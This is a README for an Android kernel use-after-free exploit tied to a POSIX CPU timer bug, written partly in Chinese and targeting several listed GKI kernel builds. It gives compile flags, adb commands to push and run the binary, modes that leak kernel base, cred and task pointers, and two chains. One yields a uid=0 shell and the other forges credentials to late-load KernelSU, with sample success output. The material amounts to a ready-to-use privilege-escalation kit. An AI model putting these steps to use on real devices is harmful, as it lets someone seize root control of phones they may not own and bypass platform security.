
Android kernel POSIX CPU timer use-after-free exploit for 6.12.69 that achieves uid=0 shell or KernelSU late-load via fake credentials.
CVE-2026-98260 POSIX CPU timer UAF port; for supported cases see "Kernel Support"
Two chains:
timer:真实 cred 零写 → uid=0、u:r:shell:s0(shell 域 root,bset caps)timer fake:fake cred(full caps)→ 安装版 KernelSU libksud.so late-load| Path | Result |
|---|---|
real cred zero-write + setuid(0) + exec sh | uid=0, u:r:shell:s0, ROOT_SHELL_OK |
fake cred + ksud late-load | installed libksud.so (uapi 6), KSU_LOADED, su is u:r:ksu:s0 |
u:r:shell:s0), can read tracefs and /proc/slabinfome.weishu.kernelsu), fake automatically uses its lib/arm64/libksud.socd timer
NDK=~/Android/Sdk/ndk/30.0.16248370/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
-fno-stack-protector -fno-pic -I. \
-ffunction-sections -fdata-sections timer.c -o timer \
-Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
-Wl,-z,norelro -pthread
Each per-build constant has its own timer/kbuilds/<release>.h, indexed by timer/kbuilds.h; timer.c contains only logic, and timer matches the entire uname -r string; on a miss, it prints the known builds and exits
Supported:
6.1.138-android14-11-g7b9e94e37cfa-mi6.6.118-android15-8-gf72a02f47f4b-abogki551678766-4k6.12.69-android16-6-g5fd39602326e-ab16372235-4k6.12.69-android16-6-g242e1a07f878-ab15865446-4kAdding a new kernel (detect 98260 + write and register a profile; exit code 0 means exploitable, 3 means already fixed, 1 means error):
cargo build --release --manifest-path tools/extract/Cargo.toml
tools/extract/target/release/timer-extract boot.img --add
tools/*.c is used to verify call sites, raw records, timer leaks, and the 8 KiB AF_UNIX reclaim channel.
adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer
# 诊断
adb shell /data/local/tmp/timer build # 打印内核 release 与命中的 profile
adb shell /data/local/tmp/timer ids # 探测 tracefs page event id
adb shell /data/local/tmp/timer leak # 只做 base/cred/task 泄漏,不触发 UAF
# uid-0 shell(真实 cred)
adb shell /data/local/tmp/timer # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell # 交互 sh
# KernelSU(fake cred + 安装版 ksud)
adb shell 'cd /data/local/tmp && setsid ./timer fake >timer.log 2>&1 </dev/null &'
adb shell cat /data/local/tmp/timer.log
fake success indicator:
[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id # uid=0 ... context=u:r:ksu:s0
timeout/kill the parked process, otherwise it may panictimer/timer.c exploit
timer/kbuilds.h 内核 profile 索引(include 列表 + 指针表)
timer/kbuilds/ 各内核的 profile(<release>.h)
timer/timer 静态产物
tools/*.c 移植诊断源码
tools/extract/ 提取器与检测(Rust,bin timer-extract)
| Path | License |
|---|---|
Root directory (timer/, tools/*.c) | MIT, see LICENSE |
tools/extract/ | Apache-2.0, see tools/extract/LICENSE |
Third-party sources:
timer/timer.c is adapted from src/uid0.c and src/poc.c in woshigenm/CVE-2026-98260 (MIT)tools/extract/ comes from YuKongA/ghostlock-app/tools/extract_rs (Apache-2.0)